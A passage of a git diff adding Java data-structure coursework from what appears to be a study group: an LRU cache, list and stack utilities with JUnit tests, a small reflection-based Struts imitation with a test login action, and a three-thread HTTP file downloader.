+	private void addNewNodeToHead(Node node) {
+		if (currentSize == capacity) {
+			removeLast();
+		}
+		Node temp = first;
+		temp.prev = node;
+		node.next = temp;
+		first = node;
+		currentSize++;
+	}
+
+	private Node find(int data) {
+		Node node = first;
+		while (node != null) {
+			if (node.pageNum == data) {
+				return node;
+			}
+			node = node.next;
+		}
+		return null;
+	}
+
+	/**
+	 * 删除链表尾部节点，表示删除最小使用的缓存对象
+	 */
+	private void removeLast() {
+		Node temp = last.prev;
+		temp.next = null;
+		last = temp;
+		currentSize--;
+	}
+
+	/**
+	 * 移动到表头，表示这个节点是最新使用过的
+	 */
+	private void moveExistingNodeToHead(Node node) {
+		if (node.prev == null) {
+			return;
+		}
+		Node prev = node.prev;
+		Node next = node.next;
+		if (next == null) {
+			last = prev;
+		}
+		prev.next = next;
+		if (next != null) {
+			next.prev = prev;
+		}
+		Node temp = first;
+		temp.prev = node;
+		node.prev = null;
+		node.next = temp;
+		first = node;
+	}
+
+	public String toString() {
+		StringBuilder sb = new StringBuilder();
+		Node node = first;
+		while (node != null) {
+			sb.append(node.pageNum);
+			node = node.next;
+			if (node != null) {
+				sb.append(",");
+			}
+		}
+		return sb.toString();
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/04_LRU/src/test/LRUPageFrameTest.java b/group23/1323434545/work_DataStructure/04_LRU/src/test/LRUPageFrameTest.java
new file mode 100644
index 0000000000..e190a31b82
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/04_LRU/src/test/LRUPageFrameTest.java
@@ -0,0 +1,35 @@
+package test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Test;
+
+import main.LRUPageFrame;
+
+public class LRUPageFrameTest {
+
+	@Test
+	public void testAccess() {
+		LRUPageFrame pf = new LRUPageFrame(3);
+		pf.access(7);
+		pf.access(0);
+		pf.access(1);
+		assertEquals("1,0,7", pf.toString());
+		pf.access(2);
+		assertEquals("2,1,0", pf.toString());
+		pf.access(0);
+		assertEquals("0,2,1", pf.toString());
+		pf.access(0);
+		assertEquals("0,2,1", pf.toString());
+		pf.access(3);
+		assertEquals("3,0,2", pf.toString());
+		pf.access(0);
+		assertEquals("0,3,2", pf.toString());
+		pf.access(4);
+		assertEquals("4,0,3", pf.toString());
+		pf.access(5);
+		assertEquals("5,4,0", pf.toString());
+
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/05_StackUtil/src/main/ArrayList.java b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/ArrayList.java
new file mode 100644
index 0000000000..3593756817
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/ArrayList.java
@@ -0,0 +1,75 @@
+package main;
+
+import java.util.Arrays;
+
+public class ArrayList{
+	private Object[] elementData = new Object[10];
+	private int size;
+
+	public void add(Object o) {
+		add(size, o);
+
+	}
+
+	public void add(int index, Object o) {
+		// 检查是否越界
+		ListUtils.CheckIndexInRange(0, size, index);
+		if (size == elementData.length) {
+			elementData = Arrays.copyOf(elementData, elementData.length + 10);
+		}
+		if (index < size) {
+			for (int i = size; i > index; i--) {
+				elementData[i] = elementData[i - 1];
+			}
+		}
+		elementData[index] = o;
+		size++;
+	}
+
+	public Object remove(int index) {
+		ListUtils.CheckIndexInRange(0, size - 1, index);
+		Object tag = elementData[index];
+		for (int i = index; i < size - 1; i++) {
+			elementData[i] = elementData[i + 1];
+		}
+		elementData[size - 1] = null;
+		size--;
+		return tag;
+
+	}
+
+	public Object get(int index) {
+		ListUtils.CheckIndexInRange(0, size - 1, index);
+		return elementData[index];
+
+	}
+
+	public int size() {
+		return size;
+	}
+
+	public Iterator iterator() {
+		return new Iterator() {
+			private int cursor;
+
+			@Override
+			public boolean hasNext() {
+				if (size > 0) {
+					return cursor < size;
+				} else {
+					return false;
+				}
+
+			}
+
+			@Override
+			public Object next() {
+				Object tag = get(cursor);
+				cursor++;
+				return tag;
+			}
+		};
+
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/05_StackUtil/src/main/Iterator.java b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/Iterator.java
new file mode 100644
index 0000000000..166a6181e3
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/Iterator.java
@@ -0,0 +1,6 @@
+package main;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+}
diff --git a/group23/1323434545/work_DataStructure/05_StackUtil/src/main/ListUtils.java b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/ListUtils.java
new file mode 100644
index 0000000000..379e3b5a31
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/ListUtils.java
@@ -0,0 +1,11 @@
+package main;
+
+public class ListUtils {
+	public static boolean CheckIndexInRange(int start, int end, int index) {
+		if (index >= start && index <= end) {
+			return true;
+		}
+		throw new IndexOutOfBoundsException();
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/05_StackUtil/src/main/Stack.java b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/Stack.java
new file mode 100644
index 0000000000..a584680425
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/Stack.java
@@ -0,0 +1,25 @@
+package main;
+
+public class Stack {
+	private ArrayList list = new ArrayList();
+
+	public void push(Object o) {
+		list.add(o);
+	}
+
+	public Object pop() {
+		return list.remove(list.size() - 1);
+	}
+
+	public Object peek() {
+		return list.get(list.size() - 1);
+	}
+
+	public boolean isEmpty() {
+		return list.size() == 0;
+	}
+
+	public int size() {
+		return list.size();
+	}
+}
diff --git a/group23/1323434545/work_DataStructure/05_StackUtil/src/main/StackUtil.java b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/StackUtil.java
new file mode 100644
index 0000000000..125c9a0d72
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/StackUtil.java
@@ -0,0 +1,110 @@
+package main;
+
+import java.util.Arrays;
+
+public class StackUtil {
+
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack s) {
+		Stack stack1 = new Stack();
+		while (!s.isEmpty()) {
+			stack1.push(s.pop());
+		}
+		Stack stack2 = new Stack();
+		while (!stack1.isEmpty()) {
+			stack2.push(stack1.pop());
+		}
+		while (!stack2.isEmpty()) {
+			s.push(stack2.pop());
+		}
+
+	}
+
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s, Object o) {
+		Stack stack = new Stack();
+		while (!s.isEmpty()) {
+			stack.push(s.pop());
+		}
+		while (!stack.isEmpty()) {
+			Object temp = stack.pop();
+			if (!o.equals(temp)) {
+				s.push(temp);
+			}
+		}
+
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty，
+	 * 可以使用另外一个栈来辅助
+	 * 
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s, int len) {
+		if (len < 0) {
+			return new Object[0];
+		}
+		Object[] objArray = new Object[len];
+		int i = 0;
+		for (; i < len; i++) {
+			if (s.isEmpty()) {
+				break;
+			}
+			objArray[i] = s.pop();
+		}
+		objArray = Arrays.copyOf(objArray, i);
+		for (int j = objArray.length - 1; j >= 0; j--) {
+			s.push(objArray[j]);
+		}
+		return objArray;
+	}
+
+	/**
+	 * 字符串s 可能包含这些字符： ( ) [ ] { }, a,b,c... x,yz 使用堆栈检查字符串s中的括号是不是成对出现的。 例如s =
+	 * "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true 如果 s = "([b{x]y})",
+	 * 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * 
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s) {
+		String[] array = s.split("");
+		Stack stack = new Stack();
+		for (String s1 : array) {
+			if ("{[()]}".contains(s1)) {
+				if (!stack.isEmpty()) {
+					if (")]}".contains(s1)) {
+						if (s1.replace(")", "(").equals(stack.peek().toString())
+								|| s1.replace("]", "[").equals(stack.peek().toString())
+								|| s1.replace("}", "{").equals(stack.peek().toString())) {
+							stack.pop();
+						} else {
+							return false;
+						}
+					} else {
+						stack.push(s1);
+					}
+				} else {
+					if (")]}".contains(s1)) {
+						return false;
+					}
+					stack.push(s1);
+				}
+			}
+		}
+		if (stack.isEmpty()) {
+			return true;
+		}
+		return false;
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/05_StackUtil/src/test/StackUtilTest.java b/group23/1323434545/work_DataStructure/05_StackUtil/src/test/StackUtilTest.java
new file mode 100644
index 0000000000..87cddd271b
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/05_StackUtil/src/test/StackUtilTest.java
@@ -0,0 +1,93 @@
+package test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import main.Stack;
+import main.StackUtil;
+
+public class StackUtilTest {
+	Stack stack;
+
+	@Before
+	public void setUp() throws Exception {
+		stack = new Stack();
+	}
+
+	@Test
+	public void testReverse() {
+		stack.push(1);
+		stack.push(2);
+		stack.push(3);
+		stack.push(4);
+		stack.push(5);
+		StackUtil.reverse(stack);
+		int[] expected = { 1, 2, 3, 4, 5 };
+		for (int i = 0; !stack.isEmpty(); i++) {
+			assertEquals(expected[i], stack.pop());
+		}
+	}
+
+	@Test
+	public void testRemove() {
+		stack.push(1);
+		stack.push(2);
+		stack.push(3);
+		stack.push(4);
+		stack.push(5);
+		StackUtil.remove(stack, 9);
+		int[] expected = { 5, 4, 3, 2, 1 };
+		for (int i = 0; !stack.isEmpty(); i++) {
+			assertEquals(expected[i], stack.pop());
+		}
+
+		stack.push(1);
+		stack.push(2);
+		stack.push(3);
+		stack.push(4);
+		stack.push(5);
+		StackUtil.remove(stack, 3);
+		int[] expected1 = { 5, 4, 2, 1 };
+		for (int i = 0; !stack.isEmpty(); i++) {
+			assertEquals(expected1[i], stack.pop());
+		}
+	}
+
+	@Test
+	public void testGetTop() {
+		stack.push(1);
+		stack.push(2);
+		stack.push(3);
+		stack.push(4);
+		stack.push(5);
+		Object[] result = StackUtil.getTop(stack, 3);
+		int[] expected = { 5, 4, 3 };
+		for (int i = 0; i < result.length; i++) {
+			assertEquals(expected[i], result[i]);
+		}
+
+		result = StackUtil.getTop(stack, 9);
+		int[] expected1 = { 5, 4, 3, 2, 1 };
+		for (int i = 0; i < result.length; i++) {
+			assertEquals(expected1[i], result[i]);
+		}
+
+		result = StackUtil.getTop(stack, -1);
+		assertEquals(0, result.length);
+	}
+
+	@Test
+	public void testIsValidPairs() {
+		assertTrue(StackUtil.isValidPairs("12wed333"));
+		assertTrue(StackUtil.isValidPairs("1{2[3(4)5]6}"));
+		assertTrue(StackUtil.isValidPairs("{{{[[[((()))]]]}}}"));
+		assertTrue(StackUtil.isValidPairs("{}[]()([{}])"));
+		assertFalse(StackUtil.isValidPairs(")abcd{}[]()"));
+		assertFalse(StackUtil.isValidPairs("a{b[c}d]()"));
+		assertFalse(StackUtil.isValidPairs("a{b)c}[]{}"));
+		assertFalse(StackUtil.isValidPairs("{}[](()"));
+	}
+
+}
diff --git a/group23/1323434545/work_Other/01_litestruts/src/main/LoginAction.java b/group23/1323434545/work_Other/01_litestruts/src/main/LoginAction.java
new file mode 100644
index 0000000000..1d62da0e04
--- /dev/null
+++ b/group23/1323434545/work_Other/01_litestruts/src/main/LoginAction.java
@@ -0,0 +1,36 @@
+package main;
+
+public class LoginAction {
+	private String name;
+	private String password;
+	private String message;
+
+	public String getName() {
+		return name;
+	}
+
+	public String getPassword() {
+		return password;
+	}
+
+	public String execute() {
+		if ("test".equals(name) && "1234".equals(password)) {
+			this.message = "login successful";
+			return "success";
+		}
+		this.message = "login failed,please check your user/pwd";
+		return "fail";
+	}
+
+	public void setName(String name) {
+		this.name = name;
+	}
+
+	public void setPassword(String password) {
+		this.password = password;
+	}
+
+	public String getMessage() {
+		return this.message;
+	}
+}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/01_litestruts/src/main/Struts.java b/group23/1323434545/work_Other/01_litestruts/src/main/Struts.java
new file mode 100644
index 0000000000..21b889c070
--- /dev/null
+++ b/group23/1323434545/work_Other/01_litestruts/src/main/Struts.java
@@ -0,0 +1,71 @@
+package main;
+
+import java.io.File;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Method;
+import java.util.Iterator;
+import java.util.Map;
+
+import org.dom4j.Document;
+import org.dom4j.DocumentException;
+import org.dom4j.Element;
+import org.dom4j.io.SAXReader;
+
+public class Struts {
+	/*
+	 * 
+	 * 0. 读取配置文件struts.xml
+	 * 
+	 * 1. 根据actionName找到相对应的class ， 例如LoginAction, 通过反射实例化（创建对象）
+	 * 据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 ("name"="test" ,
+	 * "password"="1234") , 那就应该调用 setName和setPassword方法
+	 * 
+	 * 2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+	 * 
+	 * 3. 通过反射找到对象的所有getter方法（例如 getMessage）, 通过反射来调用， 把值和属性形成一个HashMap , 例如
+	 * {"message": "登录成功"} , 放到View对象的parameters
+	 * 
+	 * 4. 根据struts.xml中的 <result> 配置,以及execute的返回值， 确定哪一个jsp， 放到View对象的jsp字段中。
+	 * 
+	 */
+
+	@SuppressWarnings({ "rawtypes", "unchecked" })
+	public static View runAction(String actionName, Map<String, String> parameters)
+			throws DocumentException, ReflectiveOperationException, SecurityException {
+		View view = null;
+		SAXReader reader = new SAXReader();
+		Document document = reader.read(new File("./xml/struts.xml"));
+		Element root = document.getRootElement();
+		for (Iterator iterator = (Iterator) root.elementIterator("action"); iterator.hasNext();) {
+			Element actionElement = (Element) iterator.next();
+			String actionElementName = actionElement.attributeValue("name");
+			if (actionElementName.equals(actionName)) {
+				Class c = Class.forName(actionElement.attributeValue("class"));
+				Constructor con = c.getConstructor();
+				Object o = con.newInstance();
+				Method setName = c.getMethod("setName", String.class);
+				setName.invoke(o, parameters.get("name"));
+				Method setPassword = c.getMethod("setPassword", String.class);
+				setPassword.invoke(o, parameters.get("password"));
+				Method execute = c.getMethod("execute");
+				String resultStr = execute.invoke(o).toString();
+
+				for (iterator = actionElement.elementIterator("result"); iterator.hasNext();) {
+					Element resultElement = (Element) iterator.next();
+					if (resultElement.attributeValue("name").equals(resultStr)) {
+						view = new View();
+						parameters.put("name", c.getMethod("getName").invoke(o).toString());
+						parameters.put("password", c.getMethod("getPassword").invoke(o).toString());
+						parameters.put("message", c.getMethod("getMessage").invoke(o).toString());
+						view.setJsp(resultElement.getStringValue());
+						view.setParameters(parameters);
+					}
+				}
+			}
+
+		}
+		return view;
+
+	}
+
+}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/01_litestruts/src/main/View.java b/group23/1323434545/work_Other/01_litestruts/src/main/View.java
new file mode 100644
index 0000000000..2f54206090
--- /dev/null
+++ b/group23/1323434545/work_Other/01_litestruts/src/main/View.java
@@ -0,0 +1,27 @@
+package main;
+
+import java.util.Map;
+
+@SuppressWarnings("rawtypes")
+public class View {
+	private String jsp;
+	private Map parameters;
+
+	public String getJsp() {
+		return jsp;
+	}
+
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+
+	public Map getParameters() {
+		return parameters;
+	}
+
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/01_litestruts/src/test/StrutsTest.java b/group23/1323434545/work_Other/01_litestruts/src/test/StrutsTest.java
new file mode 100644
index 0000000000..7d5d431ac0
--- /dev/null
+++ b/group23/1323434545/work_Other/01_litestruts/src/test/StrutsTest.java
@@ -0,0 +1,55 @@
+package test;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.dom4j.DocumentException;
+import org.junit.Assert;
+import org.junit.Test;
+
+import main.Struts;
+import main.View;
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		String actionName = "login";
+		Map<String, String> params = new HashMap<String, String>();
+		params.put("name", "test");
+		params.put("password", "1234");
+		View view = null;
+		try {
+			view = Struts.runAction(actionName, params);
+		} catch (SecurityException e) {
+			e.printStackTrace();
+		} catch (DocumentException e) {
+			e.printStackTrace();
+		} catch (ReflectiveOperationException e) {
+			e.printStackTrace();
+		}
+		Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+		Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String, String> params = new HashMap<String, String>();
+		params.put("name", "tes");
+		params.put("password", "1234");
+		View view = null;
+		try {
+			view = Struts.runAction(actionName, params);
+		} catch (SecurityException e) {
+			e.printStackTrace();
+		} catch (DocumentException e) {
+			e.printStackTrace();
+		} catch (ReflectiveOperationException e) {
+			e.printStackTrace();
+		}
+		Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+		Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+
+}
diff --git a/group23/1323434545/work_Other/02_downloader/src/api/Connection.java b/group23/1323434545/work_Other/02_downloader/src/api/Connection.java
new file mode 100644
index 0000000000..828332de3b
--- /dev/null
+++ b/group23/1323434545/work_Other/02_downloader/src/api/Connection.java
@@ -0,0 +1,23 @@
+package api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
diff --git a/group23/1323434545/work_Other/02_downloader/src/api/ConnectionException.java b/group23/1323434545/work_Other/02_downloader/src/api/ConnectionException.java
new file mode 100644
index 0000000000..d6265a5c4a
--- /dev/null
+++ b/group23/1323434545/work_Other/02_downloader/src/api/ConnectionException.java
@@ -0,0 +1,6 @@
+package api;
+
+@SuppressWarnings("serial")
+public class ConnectionException extends Exception{
+
+}
diff --git a/group23/1323434545/work_Other/02_downloader/src/api/ConnectionManager.java b/group23/1323434545/work_Other/02_downloader/src/api/ConnectionManager.java
new file mode 100644
index 0000000000..1ff4788bf4
--- /dev/null
+++ b/group23/1323434545/work_Other/02_downloader/src/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/02_downloader/src/api/DownloadListener.java b/group23/1323434545/work_Other/02_downloader/src/api/DownloadListener.java
new file mode 100644
index 0000000000..b8ab21d462
--- /dev/null
+++ b/group23/1323434545/work_Other/02_downloader/src/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/1323434545/work_Other/02_downloader/src/impl/ConnectionImpl.java b/group23/1323434545/work_Other/02_downloader/src/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..222284c175
--- /dev/null
+++ b/group23/1323434545/work_Other/02_downloader/src/impl/ConnectionImpl.java
@@ -0,0 +1,54 @@
+package impl;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.MalformedURLException;
+import java.net.URL;
+
+import api.Connection;
+
+public class ConnectionImpl implements Connection{
+	private HttpURLConnection huConn;
+	
+
+	public ConnectionImpl(String url) {
+		try {
+			huConn = (HttpURLConnection) new URL(url).openConnection();
+		} catch (MalformedURLException e) {
+			e.printStackTrace();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+	}
+		
+
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		huConn.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
+		ByteArrayOutputStream os = new ByteArrayOutputStream();
+		BufferedInputStream bis = new BufferedInputStream(huConn.getInputStream());
+		int len =0;
+		byte[] bytes = new byte[1024];
+		while((len=bis.read(bytes))!=-1){
+			os.write(bytes, 0, len);
+		}
+		os.flush();
+		return os.toByteArray();
+	}
+
+	@Override
+	public int getContentLength() {
+		return huConn.getContentLength();
+	}
+
+	@Override
+	public void close() {
+		if(null!=huConn){
+			huConn.disconnect();
+		}
+		
+	}
+
+}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/02_downloader/src/impl/ConnectionManagerImpl.java b/group23/1323434545/work_Other/02_downloader/src/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..c9c9e7378b
--- /dev/null
+++ b/group23/1323434545/work_Other/02_downloader/src/impl/ConnectionManagerImpl.java
@@ -0,0 +1,15 @@
+package impl;
+
+
+
+import api.Connection;
+import api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	@Override
+	public Connection open(String url) {
+		return new ConnectionImpl(url);
+	}
+
+}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/02_downloader/src/main/DownloadThread.java b/group23/1323434545/work_Other/02_downloader/src/main/DownloadThread.java
new file mode 100644
index 0000000000..138dadf32f
--- /dev/null
+++ b/group23/1323434545/work_Other/02_downloader/src/main/DownloadThread.java
@@ -0,0 +1,50 @@
+package main;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+import java.util.concurrent.CyclicBarrier;
+
+import api.Connection;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+	File saveLocation;
+	CyclicBarrier barrier;
+
+	public DownloadThread( Connection conn, int startPos, int endPos,File saveLocation,CyclicBarrier barrier){
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+		this.saveLocation = saveLocation;
+		this.barrier = barrier;
+	}
+
+	@Override
+	public void run() {
+		RandomAccessFile rf = null;
+		try {
+			rf = new RandomAccessFile(saveLocation,"rw");
+			rf.seek(startPos);
+			rf.write(conn.read(startPos, endPos));
+			barrier.await();
+		}catch (Exception e) {
+			e.printStackTrace();
+		}finally {
+			if(null!=rf){
+				try {
+					rf.close();
+				} catch (IOException e) {
+					e.printStackTrace();
+				}
+			}
+			if(null!=conn){
+				conn.close();
+			}
+			
+		}
+	}
+}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/02_downloader/src/main/FileDownloader.java b/group23/1323434545/work_Other/02_downloader/src/main/FileDownloader.java
new file mode 100644
index 0000000000..13f84bcb73
--- /dev/null
+++ b/group23/1323434545/work_Other/02_downloader/src/main/FileDownloader.java
@@ -0,0 +1,73 @@
+package main;
+
+import java.io.File;
+import java.util.concurrent.CyclicBarrier;
+import api.ConnectionException;
+import api.ConnectionManager;
+import api.DownloadListener;
+import impl.ConnectionManagerImpl;
+
+public class FileDownloader {
+	
+	String url;
+	File saveLocation;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+
+	public FileDownloader(String url,File saveLocation) {
+		this.url = url;
+		this.saveLocation = saveLocation;
+	}
+	
+	
+	public void execute() throws ConnectionException{
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		
+		cm = new ConnectionManagerImpl();
+		int length = cm.open(this.url).getContentLength();
+		System.out.println("文件长度:"+length);
+		long time = System.currentTimeMillis();
+		CyclicBarrier barrier = new CyclicBarrier(3, new Runnable() {
+			@Override
+			public void run() {
+				listener.notifyFinished();
+				System.out.println("耗时:"+(System.currentTimeMillis()-time)/1000+"秒");
+			}
+		});
+		
+		new DownloadThread(cm.open(this.url),0,length/3-1,saveLocation,barrier).start();
+		new DownloadThread(cm.open(this.url),length/3,length*2/3-1,saveLocation,barrier).start();
+		new DownloadThread(cm.open(this.url),length*2/3,length-1,saveLocation,barrier).start();
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+	
+}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/02_downloader/src/test/DownloaderTest.java b/group23/1323434545/work_Other/02_downloader/src/test/DownloaderTest.java
new file mode 100644
index 0000000000..823e5ece37
--- /dev/null
+++ b/group23/1323434545/work_Other/02_downloader/src/test/DownloaderTest.java
@@ -0,0 +1,21 @@
+package test;
+
+import java.io.File;
+
+import api.ConnectionException;
+import api.DownloadListener;
+import main.FileDownloader;
+
+public class DownloaderTest {
+	public static void main(String[] args) throws ConnectionException {
+		FileDownloader fd = new FileDownloader("http://mirror.bit.edu.cn/apache/tomcat/tomcat-8/v8.5.13/bin/apache-tomcat-8.5.13.exe",new File("E:\\tomcat.exe"));
+		fd.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				System.out.println("下载完了!");
+			}
+		});
+		fd.execute();
+	}
+
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/ArrayList.java b/group23/381519422/DataStructure/src/com/xiaol/study/ArrayList.java
new file mode 100644
index 0000000000..f3d936f79b
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/ArrayList.java
@@ -0,0 +1,94 @@
+package com.xiaol.study;
+
+/**
+ * @Description TODO
+ * @date 创建时间：2017年3月4日 下午11:03:26
+ */
+public class ArrayList implements List {
+
+	// 记录有多少元素
+	private int size = 0;
+
+	// 存放元素的数组
+	private Object[] elementData = new Object[10];
+
+	// 添加元素
+	public void add(Object o) {
+		checkSizeAndGrow();
+		elementData[size++] = o;
+	}
+
+	// 检查数组容量大小，不足就扩容
+	private void checkSizeAndGrow() {
+		if (size >= elementData.length) {
+			Object[] oldData = elementData;
+			elementData = new Object[size * 2];
+			System.arraycopy(oldData, 0, elementData, 0, size);
+		}
+	}
+
+	// 在指定位置添加元素
+	public void add(int index, Object o) {
+		checkIndex(index);
+		checkSizeAndGrow();
+		// 把index位置的元素往后移一位
+		System.arraycopy(elementData, index, elementData, index + 1, size - index);
+		elementData[index] = o;
+		size++;
+	}
+
+	// 检查插入元素的位置是否非法
+	private void checkIndex(int index) {
+		if (index < 0 || index > size) {
+			throw new RuntimeException("参数非法");
+		}
+	}
+
+	// 获取指定位置元素
+	public Object get(int index) {
+		checkIndex(index);
+		return elementData[index];
+	}
+
+	// 移除指定位置元素
+	public Object remove(int index) {
+		checkIndex(index);
+		Object returnVal = elementData[index];
+		System.arraycopy(elementData, index + 1, elementData, index, size - index - 1);
+		size--;
+		return returnVal;
+	}
+
+	// 获取ArrayList元素数量
+	public int size() {
+		return size;
+	}
+
+	// 获取迭代器
+	public Iterator iterator() {
+		return new ArrayListIterator();
+	}
+
+	// 尽量实现迭代器
+	private class ArrayListIterator implements Iterator {
+
+		ArrayList list = null;
+
+		@Override
+		public boolean hasNext() {
+
+			return false;
+		}
+
+		@Override
+		public Object next() {
+			return null;
+		}
+
+		public Object remove() {
+			return null;
+		}
+
+	}
+
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/ArrayListTest.java b/group23/381519422/DataStructure/src/com/xiaol/study/ArrayListTest.java
new file mode 100644
index 0000000000..c8d865a394
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/ArrayListTest.java
@@ -0,0 +1,82 @@
+package com.xiaol.study;
+
+import static org.junit.Assert.assertEquals;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class ArrayListTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testAddObject() {
+		ArrayList list = new ArrayList();
+		list.add("a");
+		list.add("b");
+		list.add("c");
+		list.add("d");
+		list.add("e");
+		list.add("f");
+		list.add(1);
+		list.add(2);
+		list.add(3);
+		list.add(4);
+		list.add(5);
+		list.add(6);
+		assertEquals(12, list.size());
+	}
+
+	@Test
+	public void testAddIntObject() {
+		ArrayList list = new ArrayList();
+		list.add(1);
+		list.add(2);
+		list.add(0, 3);
+		assertEquals(3, list.get(0));
+		assertEquals(1, list.get(1));
+		assertEquals(2, list.get(2));
+		assertEquals(3, list.size());
+	}
+
+	@Test
+	public void testGet() {
+		ArrayList list = new ArrayList();
+		list.add(1);
+		list.add(2);
+		list.add(0, 3);
+		assertEquals(3, list.get(0));
+		assertEquals(1, list.get(1));
+		assertEquals(2, list.get(2));
+		assertEquals(3, list.size());
+	}
+
+	@Test
+	public void testRemove() {
+		ArrayList list = new ArrayList();
+		list.add(1);
+		list.add(2);
+		list.add(0, 3);
+		assertEquals(3, list.remove(0));
